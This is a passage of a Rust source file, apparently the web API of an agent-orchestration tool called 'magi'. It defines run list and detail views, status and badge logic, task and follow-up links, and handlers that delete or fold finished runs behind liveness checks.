3601    let failed = ui.auto_failed_tag.clone();
3602    let tag = latest.tag_name.clone();
3603    tokio::spawn(async move {
3604        if let Err(e) = runner(home.clone()).await {
3605            if trigger == updater::UpgradeTrigger::Auto {
3606                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3607            }
3608            tracing::error!("the upgrade did not complete: {e:#}");
3609            // A failure of this attempt says nothing about a handover an
3610            // earlier request already has in flight; checked and written
3611            // under the progress lock.
3612            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3613            // Release only after failure bookkeeping, before accepting a retry.
3614            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3615        }
3616    });
3617
3618    Ok((
3619        StatusCode::ACCEPTED,
3620        Json(UpgradeView {
3621            from,
3622            to: Some(latest.tag_name),
3623            detail,
3624        }),
3625    ))
3626}
3627
3628/// Replace the binary, then ask [`serve`] to hand the address over.
3629///
3630/// Separated from the handler so the 202 is already on its way, and separated
3631/// from the spawn so the successor starts only after the listener is dropped.
3632async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3633    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3634    // hang the upgrade for as long as the process lives.
3635    crate::updater::run_self_update(true, false, true).await?;
3636    updater::log_step(&home, "binary replaced - recording the replaced stage");
3637    if let Some(mut progress) = updater::read_progress(&home) {
3638        progress.advance(updater::Stage::Replaced);
3639        updater::write_progress_logged(&home, &progress);
3640    }
3641    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3642    HANDOVER.notify_one();
3643    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3644    Ok(())
3645}
3646
3647/// One row in the run list.
3648///
3649/// The list route returns this rather than whole `RunState`s: the summary of a
3650/// run is a few hundred bytes and the state is megabytes, and the difference
3651/// is what makes the history usable on a mobile link.
3652#[derive(Debug, Serialize)]
3653struct RunSummary {
3654    id: String,
3655    short: String,
3656    status: String,
3657    done: bool,
3658    instruction: String,
3659    title: String,
3660    repo: String,
3661    repo_name: String,
3662    created_at: String,
3663    updated_at: String,
3664    candidates: usize,
3665    viable: usize,
3666    judges: usize,
3667    winner: Option<char>,
3668    reviews: usize,
3669    quota_losses: usize,
3670    event: Option<String>,
3671    /// The later attempt at the same task that replaced this one, if any.
3672    ///
3673    /// Two cards with one title is otherwise unreadable: this is what lets
3674    /// the deck say "superseded by 4043" on the older of the pair.
3675    superseded_by: Option<String>,
3676    /// Blocked on a question nobody has answered.
3677    ///
3678    /// Derived from the question store rather than stored on the run: an agent
3679    /// calling `magi ask` blocks mid-node, and writing a status from there
3680    /// would race the graph's own save of `run.json` and be overwritten at the
3681    /// next node boundary. Asking the store is always true and never races.
3682    waiting: bool,
3683    /// Whether the process recorded as driving this run can still be proven
3684    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3685    /// rather than presenting its last graph node as still in flight.
3686    live: crate::run::Liveness,
3687    /// The land loop's last look at the pull request, when there is one.
3688    pr: Option<crate::run::PrRecord>,
3689    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3690    /// design — never picked up by the PR-polling merge watcher, unlike an
3691    /// ordinary `Ready` that may still be a live landing candidate. See
3692    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3693    /// re-deriving the same check from `status` and `merge.mode` itself.
3694    unmerged_by_design: bool,
3695    /// Derived presentation status matching [`RunDetailView::display_status`].
3696    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3697    #[serde(default)]
3698    display_status: String,
3699    /// What the status badge shows: `display_status`, or `superseded` for a
3700    /// non-live run a later attempt replaced. See [`run_badge_status`].
3701    #[serde(default)]
3702    badge_status: String,
3703    /// Who started the run, as the one label every surface shares; the
3704    /// "origin unknown" wording when the record predates origins.
3705    origin_label: String,
3706}
3707
3708impl RunSummary {
3709    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3710        Self {
3711            id: state.id.clone(),
3712            short: state.short().to_owned(),
3713            status: status_word(state.status),
3714            done: state.status.done(),
3715            unmerged_by_design: state.unmerged_by_design(),
3716            display_status: run_display_status(state, waiting, live),
3717            badge_status: run_display_status(state, waiting, live),
3718            instruction: state.instruction.clone(),
3719            title: title_from(&state.instruction, TITLE_MAX),
3720            repo: state.repo.display().to_string(),
3721            repo_name: state
3722                .repo
3723                .file_name()
3724                .map(|n| n.to_string_lossy().into_owned())
3725                .unwrap_or_default(),
3726            created_at: state.created_at.to_string(),
3727            updated_at: state.updated_at.to_string(),
3728            candidates: state.candidates.len(),
3729            viable: state.viable().len(),
3730            judges: state.config.graph.judges,
3731            winner: state.winner().map(|c| c.label),
3732            reviews: state.reviews.len(),
3733            quota_losses: state.quota.len(),
3734            event: state.events.last().map(|e| e.message.clone()),
3735            waiting,
3736            live,
3737            // Filled in by the list route, which is the only place that can
3738            // see a task's other attempts.
3739            superseded_by: None,
3740            pr: state.pr.clone(),
3741            origin_label: crate::run::origin_label(state.origin.as_ref()),
3742        }
3743    }
3744}
3745
3746/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3747/// the same string `serde` writes for the status inside a full run.
3748fn status_word(status: RunStatus) -> String {
3749    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3750    // was a third way of naming the same statuses, and one that changed
3751    // silently with a derive.
3752    status.as_str().to_owned()
3753}
3754
3755/// The presentation status for a run, unified across summaries and details.
3756///
3757/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3758/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3759/// runs awaiting operator answers.
3760fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3761    if waiting {
3762        return "waiting".to_owned();
3763    }
3764    if state.unmerged_by_design() {
3765        return "unmerged".to_owned();
3766    }
3767    if !state.status.done() && live == crate::run::Liveness::Dead {
3768        // The driver claim clears this flag before saving another event.
3769        // A previous park event can therefore outlive a resumed driver.
3770        if state.parked {
3771            return "parked".to_owned();
3772        }
3773        return "stale".to_owned();
3774    }
3775    status_word(state.status)
3776}
3777
3778/// The word a run's status badge shows: `display_status`, except that a
3779/// non-terminal run which is not provably live and was replaced by a later
3780/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3781///
3782/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3783/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3784/// own word, so superseded never claims more than "not live".
3785fn run_badge_status(
3786    state: &RunState,
3787    display_status: &str,
3788    live: crate::run::Liveness,
3789    superseded: bool,
3790) -> String {
3791    if state.status.done() || live == crate::run::Liveness::Live {
3792        return display_status.to_owned();
3793    }
3794    if superseded {
3795        return "superseded".to_owned();
3796    }
3797    // A dead run's `display_status` is `stale`, except that a deliberate park
3798    // and an open owner question keep their own word: neither is a crash, and
3799    // the question still needs an answer. Anything else dead reads `stale`.
3800    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3801        return "stale".to_owned();
3802    }
3803    display_status.to_owned()
3804}
3805
3806/// `?limit=`, clamped by the handler.
3807#[derive(Debug, Deserialize)]
3808struct ListQuery {
3809    #[serde(default)]
3810    limit: Option<usize>,
3811    /// Exact ids only; an empty value requests no rows (except queue blockers).
3812    ids: Option<String>,
3813}
3814
3815impl ListQuery {
3816    fn contains(&self, id: &str) -> bool {
3817        self.ids
3818            .as_ref()
3819            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3820    }
3821}
3822
3823async fn runs_list(
3824    State(ui): State<Arc<Ui>>,
3825    Query(q): Query<ListQuery>,
3826) -> ApiResult<Json<Vec<RunSummary>>> {
3827    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3828    blocking(move || {
3829        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3830        let states = run_ids(&ui.runs)
3831            .into_iter()
3832            // A run whose state cannot be read is skipped, not fatal: a run
3833            // killed mid-write must not blank the history of every other one.
3834            // The detail route still explains it, which is where an operator
3835            // asking "what happened to that run" ends up.
3836            .filter_map(|id| read_run(&ui.runs, &id).ok())
3837            .take(limit)
3838            .filter(|run| q.contains(&run.id));
3839        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3840        let summaries = summarize(
3841            states,
3842            &open_runs,
3843            &claimed,
3844            &superseded,
3845            |p| probe.borrow_mut().status(p),
3846            |p| probe.borrow_mut().started_at(p),
3847        );
3848        Ok(Json(summaries))
3849    })
3850    .await
3851}
3852
3853/// Everything the per-run rows share, read once: runs with an open question,
3854/// runs a live daemon claims, and the superseded map. Asking per run re-read
3855/// every question file and the daemon status file for each of hundreds of
3856/// runs, and spawned a process probe per run on Windows.
3857fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3858    let open_runs: HashSet<String> = ui
3859        .questions
3860        .list()
3861        .into_iter()
3862        .filter(|q| q.status.open())
3863        .map(|q| q.run)
3864        .collect();
3865    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3866        .into_iter()
3867        .map(|c| c.run)
3868        .collect();
3869    (open_runs, claimed, ui.queue.superseded())
3870}
3871
3872/// The rows of the run list, given everything that is shared between them.
3873///
3874/// Pure over its inputs so a test can count how often the process queries are
3875/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3876/// takes, called at most once per run.
3877fn summarize<I, S, D>(
3878    states: I,
3879    open_runs: &HashSet<String>,
3880    claimed: &HashSet<String>,
3881    superseded: &HashMap<String, String>,
3882    mut status_q: S,
3883    mut identity_q: D,
3884) -> Vec<RunSummary>
3885where
3886    I: IntoIterator<Item = RunState>,
3887    S: FnMut(u32) -> Option<bool>,
3888    D: FnMut(u32) -> Option<String>,
3889{
3890    states
3891        .into_iter()
3892        .map(|state| {
3893            let waiting = open_runs.contains(&state.id);
3894            let live =
3895                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3896            let mut row = RunSummary::of(&state, waiting, live);
3897            row.superseded_by = state
3898                .pr_taken_over_by
3899                .as_ref()
3900                .or_else(|| superseded.get(&state.id))
3901                .map(String::as_str)
3902                .map(crate::run::short_of)
3903                .map(str::to_owned);
3904            row.badge_status = run_badge_status(
3905                &state,
3906                &row.display_status,
3907                live,
3908                row.superseded_by.is_some(),
3909            );
3910            row
3911        })
3912        .collect()
3913}
3914
3915/// A run as the detail route hands it to the phone.
3916///
3917/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3918/// the instruction as markdown, and the raw `instruction` field this struct
3919/// still carries (unchanged) is what a client wanting the exact bytes reads
3920/// instead.
3921#[derive(Debug, Serialize)]
3922struct RunDetailView {
3923    stop_reason: Option<String>,
3924    #[serde(flatten)]
3925    state: RunState,
3926    instruction_md: Vec<md::Node>,
3927    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3928    /// mirror the records they come from, index for index; the raw strings
3929    /// stay in `state` and decide whether a block is shown at all.
3930    #[serde(flatten)]
3931    prose_md: RunProseMd,
3932    /// Whether a process is actually still driving this run: `"live"`,
3933    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3934    ///
3935    /// `state.active` (flattened in above) is only ever cleared by the
3936    /// process that populated it; a killed one leaves its last wave's
3937    /// entries behind. Carrying this alongside is what lets the phone rail
3938    /// tell "this seat is still answering" from "this seat was still
3939    /// answering when whatever was driving this run died" without a second
3940    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3941    /// proof of either. A string rather than a bool on purpose: a daemon
3942    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3943    /// and neither proven is `"unknown"` — folding that third case into
3944    /// either end of a bool is exactly the wrong call for a phone screen an
3945    /// operator uses to decide whether to wait or to act.
3946    live: crate::run::Liveness,
3947    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3948    /// alongside the flattened `state` rather than inside it, since
3949    /// `RunState` has no business knowing which of its own methods a caller
3950    /// wants serialized.
3951    unmerged_by_design: bool,
3952    /// Same field and meaning as [`RunSummary::waiting`].
3953    #[serde(default)]
3954    waiting: bool,
3955    /// Same derived presentation status as [`RunSummary::display_status`].
3956    #[serde(default)]
3957    display_status: String,
3958    /// Same field and meaning as [`RunSummary::badge_status`].
3959    #[serde(default)]
3960    badge_status: String,
3961    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3962    /// terminal. The client's `landView` keys on it, and the flattened state
3963    /// has no such field, so without it a finished run's stale `open` PR
3964    /// would be painted as live on the detail page.
3965    done: bool,
3966    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3967    /// route fills it from [`Queue::superseded`], the detail route from
3968    /// [`Queue::superseded_by`], and both read the same underlying task
3969    /// order. Without this the detail page could only ever show a red
3970    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3971    /// with nothing anywhere saying so — an operator opening it had no way
3972    /// to tell "this is done elsewhere" from "this still needs a retry".
3973    superseded_by: Option<String>,
3974    /// The task's current attempt, when this run is an older one — resolved
3975    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3976    /// the client to derive.
3977    ///
3978    /// Three things a client cannot safely do on its own drove this onto the
3979    /// server: it has to name the chain's *current head*, not just the next
3980    /// attempt (`superseded_by` above), because an intermediate retry in a
3981    /// longer chain can itself still be unresolved; it has to resolve to a
3982    /// real id rather than a short id a client would have to guess a full id
3983    /// from, which is ambiguous the moment two runs share a suffix; and it
3984    /// has to read that head's own status directly, because whether a run
3985    /// list a client happens to have cached even contains that attempt
3986    /// depends on a page limit this route knows nothing about.
3987    latest_attempt: Option<LatestAttempt>,
3988    /// The queue task this run belongs to, so the detail page can link back
3989    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3990    task: Option<TaskRef>,
3991    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3992    /// run recorded before origins existed. `origin` itself (flattened in
3993    /// with `state`) is `null` in that case.
3994    origin_label: String,
3995    /// Each recorded pass over this run, with the cause it stopped for. Empty
3996    /// for a run from before passes were kept: its earlier passes are unknown.
3997    pass_views: Vec<PassView>,
3998}
3999
4000/// A task named from a run's detail page.
4001#[derive(Debug, Serialize)]
4002struct TaskRef {
4003    id: String,
4004    short: String,
4005    title: String,
4006    /// [`Source::label`], e.g. `chat@a1b2`.
4007    source_label: String,
4008    /// Where the task came from, when that place has a page; see [`source_link`].
4009    source_link: Option<SourceLink>,
4010    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4011    status: &'static str,
4012    attempts: usize,
4013    max_attempts: usize,
4014    /// This run is the last entry of the task's run list.
4015    is_latest: bool,
4016    /// The task's newest run, when it is not this one.
4017    latest: Option<RunBrief>,
4018    /// The run that finished a `done` task (merged, or already in the base).
4019    finished_by: Option<RunBrief>,
4020    /// The task is `done` but no run on record finished it: closed by hand.
4021    closed_by_hand: bool,
4022}
4023
4024/// The page that filed a task, as the UI links to it.
4025#[derive(Debug, PartialEq, Eq, Serialize)]
4026struct SourceLink {
4027    /// `chat` (a conversation) or `run` (a run's node).
4028    kind: &'static str,
4029    /// The full id, never the short one in the label.
4030    id: String,
4031    /// The hash route that opens it.
4032    href: String,
4033}
4034
4035/// Percent-encode everything outside the URL-unreserved set.
4036fn encode_segment(raw: &str) -> String {
4037    let mut out = String::with_capacity(raw.len());
4038    for b in raw.bytes() {
4039        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4040            out.push(b as char);
4041        } else {
4042            out.push_str(&format!("%{b:02X}"));
4043        }
4044    }
4045    out
4046}
4047
4048/// The one place that decides where a task's source links to. A chat
4049/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4050/// a person or an imported issue has no page, so no link.
4051fn source_link(source: &Source) -> Option<SourceLink> {
4052    let Source::Agent { run, node } = source else {
4053        return None;
4054    };
4055    let (kind, route) = if node == crate::queue::CHAT_NODE {
4056        ("chat", "chat")
4057    } else {
4058        ("run", "runs")
4059    };
4060    Some(SourceLink {
4061        kind,
4062        id: run.clone(),
4063        href: id_links::page_href(route, run),
4064    })
4065}
4066
4067/// The parent task of a follow-up, when its file can still be read.
4068#[derive(Debug, Serialize, PartialEq)]
4069struct FollowUpParent {
4070    id: String,
4071    short: String,
4072    title: String,
4073    /// The parent's own status (`TaskStatus::as_str`).
4074    status: &'static str,
4075    href: String,
4076}
4077
4078/// The merged run a follow-up was filed from.
4079#[derive(Debug, Serialize, PartialEq)]
4080struct FollowUpRun {
4081    id: String,
4082    short: String,
4083    /// `None` when the run's record cannot be read.
4084    status: Option<&'static str>,
4085    /// `None` unless the record could be read: never a dead link.
4086    href: Option<String>,
4087}
4088
4089/// Where a follow-up task came from, resolved once per task page so the flow
4090/// chart and the detail block cannot disagree. See [`followup_origin`].
4091#[derive(Debug, Serialize, PartialEq)]
4092struct FollowUpOrigin {
4093    /// Present only when `origin_task` is set and that task still exists.
4094    parent: Option<FollowUpParent>,
4095    run: FollowUpRun,
4096    /// The merged pull request, verbatim. Not an href: the client passes it
4097    /// through `forgeUrl()` and renders text when that refuses it (the one
4098    /// exception to "the href rule is Rust's alone", since a forge URL is
4099    /// data from a record, not a route).
4100    pr: String,
4101    findings: Vec<String>,
4102    generation: u32,
4103}
4104
4105/// The one place that decides what a follow-up links to. A parent that cannot
4106/// be read (gone, or an id that names nothing) is `None`, never an error.
4107fn followup_origin(
4108    fu: &crate::queue::FollowUp,
4109    task: impl Fn(&str) -> Option<Task>,
4110    run: impl Fn(&str) -> Option<RunState>,
4111) -> FollowUpOrigin {
4112    let parent = fu
4113        .origin_task
4114        .as_deref()
4115        .and_then(task)
4116        .map(|t| FollowUpParent {
4117            short: t.short().to_owned(),
4118            href: format!("#/tasks/{}", encode_segment(&t.id)),
4119            status: t.status.as_str(),
4120            title: t.title,
4121            id: t.id,
4122        });
4123    let state = run(&fu.run);
4124    FollowUpOrigin {
4125        parent,
4126        run: FollowUpRun {
4127            short: run::short_of(&fu.run).to_owned(),
4128            status: state.as_ref().map(|s| s.status.as_str()),
4129            href: state
4130                .is_some()
4131                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4132            id: fu.run.clone(),
4133        },
4134        pr: fu.pr.clone(),
4135        findings: fu.findings.clone(),
4136        generation: fu.generation,
4137    }
4138}
4139
4140/// Another run of the same task, as named from a run's detail page.
4141#[derive(Debug, Serialize)]
4142struct RunBrief {
4143    id: String,
4144    short: String,
4145    /// `None` when the run's record cannot be read.
4146    status: Option<&'static str>,
4147    /// The task-page wording for how that pass ended.
4148    outcome: String,
4149    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4150    badge: Option<String>,
4151}
4152
4153/// The task's overall outcome as seen from `this_run`'s page, classified with
4154/// the same exits the task page's flowchart uses.
4155fn task_outcome(
4156    task: &Task,
4157    this_run: &str,
4158    max_attempts: usize,
4159    read: impl Fn(&str) -> Option<RunState>,
4160) -> TaskRef {
4161    let max_attempts = task.effective_attempt_limit(max_attempts);
4162    let history = task_history(task, read);
4163    let brief = |h: &TaskRunView| RunBrief {
4164        id: h.id.clone(),
4165        short: h.short.clone(),
4166        status: h.status,
4167        outcome: h.exit.edge_label(h.status),
4168        badge: h.badge.clone(),
4169    };
4170    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4171    let latest = if is_latest {
4172        None
4173    } else {
4174        history.last().map(brief)
4175    };
4176    let done = task.status == TaskStatus::Done;
4177    let finished_by = done
4178        .then(|| {
4179            history
4180                .iter()
4181                .rev()
4182                .find(|h| {
4183                    matches!(
4184                        h.exit,
4185                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4186                    )
4187                })
4188                .map(brief)
4189        })
4190        .flatten();
4191    TaskRef {
4192        short: task.short().to_owned(),
4193        title: task.title.clone(),
4194        id: task.id.clone(),
4195        source_label: task.source.label(),
4196        source_link: source_link(&task.source),
4197        status: task.status.as_str(),
4198        attempts: task.attempts,
4199        max_attempts,
4200        is_latest,
4201        latest,
4202        closed_by_hand: done && finished_by.is_none(),
4203        finished_by,
4204    }
4205}
4206
4207/// The task's current attempt, as seen from an older one's detail page.
4208#[derive(Debug, Serialize)]
4209struct LatestAttempt {
4210    id: String,
4211    short: String,
4212    /// Whether this attempt itself settled with a result nobody needs to
4213    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4214    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4215    /// unconfirmed claim that no change was needed, which is exactly why it
4216    /// settles the task through `Held` rather than `Done` and still waits on
4217    /// a human to check the evidence; showing an older run as "finished
4218    /// elsewhere" on the strength of an unverified claim would bury the
4219    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4220    /// in-flight status are excluded because they are exactly the
4221    /// unresolved states this field exists to tell apart from a real finish.
4222    resolved: bool,
4223    /// The attempt's own recorded status, so the page can say where it
4224    /// stands while it is not resolved yet.
4225    status: RunStatus,
4226    /// Whether that status is terminal (nothing is still running it).
4227    done: bool,
4228}
4229
4230/// Markdown for the free-text prose of a run, parallel to `RunState`.
4231#[derive(Debug, Default, Serialize)]
4232struct RunProseMd {
4233    /// `None` when the run has no design deliberation.
4234    advice_md: Option<AdviceMd>,
4235    /// One entry per candidate: the summary.
4236    candidate_summaries_md: Vec<Vec<md::Node>>,
4237    /// One entry per review round, in `reviews` order.
4238    reviews_md: Vec<RoundMd>,
4239}
4240
4241#[derive(Debug, Default, Serialize)]
4242struct AdviceMd {
4243    synthesis: Vec<md::Node>,
4244    /// One per record; empty for a seat with no proposal.
4245    approaches: Vec<Vec<md::Node>>,
4246}
4247
4248#[derive(Debug, Default, Serialize)]
4249struct RoundMd {
4250    /// One per reviewer record.
4251    reviewers: Vec<ReviewerMd>,
4252    /// One per `reconsideration` entry: the reason.
4253    reconsideration: Vec<Vec<md::Node>>,
4254    fix: Option<FixMd>,
4255}
4256
4257#[derive(Debug, Default, Serialize)]
4258struct ReviewerMd {
4259    summary: Vec<md::Node>,
4260    /// One per finding, in recorded order (not the display order).
4261    findings: Vec<Vec<md::Node>>,
4262}
4263
4264#[derive(Debug, Default, Serialize)]
4265struct FixMd {
4266    notes: Vec<md::Node>,
4267    /// One per rejection: the argument.
4268    rejected: Vec<Vec<md::Node>>,
4269}
4270
4271/// Parse a run's agent-written prose; a pure function of the state.
4272fn run_prose_md(state: &RunState) -> RunProseMd {
4273    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4274    RunProseMd {
4275        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4276            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4277            approaches: a
4278                .records
4279                .iter()
4280                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4281                .collect(),
4282        }),
4283        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4284        reviews_md: state
4285            .reviews
4286            .iter()
4287            .map(|round| RoundMd {
4288                reviewers: round
4289                    .reviews
4290                    .iter()
4291                    .map(|rec| ReviewerMd {
4292                        summary: nodes(&rec.summary),
4293                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4294                    })
4295                    .collect(),
4296                reconsideration: round
4297                    .reconsideration
4298                    .iter()
4299                    .map(|rv| nodes(&rv.reason))
4300                    .collect(),
4301                fix: round.fix.as_ref().map(|fix| FixMd {
4302                    notes: nodes(&fix.notes),
4303                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4304                }),
4305            })
4306            .collect(),
4307    }
4308}
4309
4310impl RunDetailView {
4311    fn of(
4312        state: RunState,
4313        waiting: bool,
4314        live: crate::run::Liveness,
4315        superseded_by: Option<String>,
4316        latest_attempt: Option<LatestAttempt>,
4317        task: Option<TaskRef>,
4318    ) -> Self {
4319        let display_status = run_display_status(&state, waiting, live);
4320        let stop_reason = crate::stop_reason::of(
4321            &state,
4322            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4323        );
4324        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4325        Self {
4326            stop_reason,
4327            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4328            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4329            prose_md: run_prose_md(&state),
4330            origin_label: crate::run::origin_label(state.origin.as_ref()),
4331            live,
4332            unmerged_by_design: state.unmerged_by_design(),
4333            waiting,
4334            display_status,
4335            badge_status,
4336            done: state.status.done(),
4337            superseded_by,
4338            latest_attempt,
4339            task,
4340            state,
4341        }
4342    }
4343}
4344
4345/// Core content needs neither the queue nor question/liveness evidence.
4346async fn run_core(
4347    State(ui): State<Arc<Ui>>,
4348    Path(id): Path<String>,
4349) -> ApiResult<Json<RunDetailView>> {
4350    blocking(move || {
4351        let id = resolve_run(&ui.runs, &id)?;
4352        let state = read_run(&ui.runs, &id)?;
4353        Ok(Json(RunDetailView::of(
4354            state,
4355            false,
4356            crate::run::Liveness::Unknown,
4357            None,
4358            None,
4359            None,
4360        )))
4361    })
4362    .await
4363}
4364
4365async fn run_detail(
4366    State(ui): State<Arc<Ui>>,
4367    Path(id): Path<String>,
4368) -> ApiResult<Json<RunDetailView>> {
4369    blocking(move || {
4370        let id = resolve_run(&ui.runs, &id)?;
4371        let state = read_run(&ui.runs, &id)?;
4372        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4373        let live = state.liveness(daemon_claims);
4374        crate::queue::record_ids(ui.questions.root(), "json")?;
4375        let waiting = ui
4376            .questions
4377            .list()
4378            .iter()
4379            .any(|q| q.run == id && q.status.open());
4380        let max_attempts = daemon::Opts::default().max_attempts;
4381
4382        let matching_task = ui.find_task_for_run(&id)?;
4383
4384        let superseded_by = state
4385            .pr_taken_over_by
4386            .clone()
4387            .or_else(|| {
4388                matching_task
4389                    .as_ref()
4390                    .and_then(|t| t.successor_of(&id).cloned())
4391            })
4392            .as_deref()
4393            .map(crate::run::short_of)
4394            .map(str::to_owned);
4395
4396        // Best-effort: an unreadable head (mid-write, or deleted) just means
4397        // this run's own status stands on its own, same as no later attempt
4398        // existing at all.
4399        let latest_attempt = matching_task
4400            .as_ref()
4401            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4402            .and_then(|head_id| {
4403                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4404                    short: head.short().to_owned(),
4405                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4406                    status: head.status,
4407                    done: head.status.done(),
4408                    id: head.id,
4409                })
4410            });
4411
4412        let task = matching_task
4413            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4414
4415        Ok(Json(RunDetailView::of(
4416            state,
4417            waiting,
4418            live,
4419            superseded_by,
4420            latest_attempt,
4421            task,
4422        )))
4423    })
4424    .await
4425}
4426
4427/// `DELETE /api/runs/{id}`.
4428///
4429/// Remove a finished, folded run directory along with its artifacts.
4430/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4431/// deleted. This never touches git worktrees or branches - except for a run
4432/// whose state this build cannot read at all, where there is no candidate
4433/// list to check and the wholesale removal `magi fold` already uses for that
4434/// case is the only meaningful "delete".
4435async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4436    let (id, unreadable) = {
4437        let ui = Arc::clone(&ui);
4438        blocking(move || {
4439            let id = resolve_run(&ui.runs, &id)?;
4440            match read_run(&ui.runs, &id) {
4441                Ok(state) => {
4442                    let in_flight =
4443                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4444                    state
4445                        .ensure_can_delete(in_flight)
4446                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4447                    let dir = ui.runs.join(&id);
4448                    std::fs::remove_dir_all(&dir)
4449                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4450                    Ok((id, false))
4451                }
4452                Err(_) => {
4453                    // Unreadable: there is no candidate list to guard on, so
4454                    // a live daemon's claim is the only thing left to check -
4455                    // the same rule `run_fold` applies for the same reason.
4456                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4457                        return Err(ApiError::conflict(format!(
4458                            "run {id} is being worked on by a live daemon right now"
4459                        )));
4460                    }
4461                    Ok((id, true))
4462                }
4463            }
4464        })
4465        .await?
4466    };
4467    if unreadable {
4468        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4469            .await
4470            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4471    }
4472    let ui = Arc::clone(&ui);
4473    let done = id.clone();
4474    blocking(move || {
4475        // The agent that asked died with the run, so an open question would
4476        // keep asking the operator for a decision nobody can deliver.
4477        ui.questions.abandon_for_run(
4478            &done,
4479            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4480        )?;
4481        Ok(())
4482    })
4483    .await?;
4484    Ok(StatusCode::NO_CONTENT)
4485}
4486
4487/// `POST /api/runs/{id}/fold`.
4488///
4489/// Remove a run's candidate worktrees and branches, keeping its record.
4490///
4491/// This exists because the deck answered "delete this run" with *"Candidates
4492/// must be folded before deleting. Run `magi fold` first."* — a phone being
4493/// told to open a terminal, in the one product whose point is that it does
4494/// not need one. The runs an operator most wants gone are the stalled and
4495/// blocked ones, and those are exactly the runs still holding worktrees:
4496/// three of them here held 53 GB.
4497///
4498/// The winner's tree goes too. A fold is what someone asks for when they are
4499/// finished with a run, and leaving one tree behind would leave the delete
4500/// button disabled for the same reason as before.
4501///
4502/// Refused while a live daemon is working on the run, on the rule that guards
4503/// deletion: folding underneath a running agent would pull the tree it is
4504/// editing out from under it.
4505///
4506/// A run whose state this build cannot read at all falls back to
4507/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4508/// selectively, so the whole record's worktree goes wholesale, exactly what
4509/// `magi fold` does on the command line for the same run.
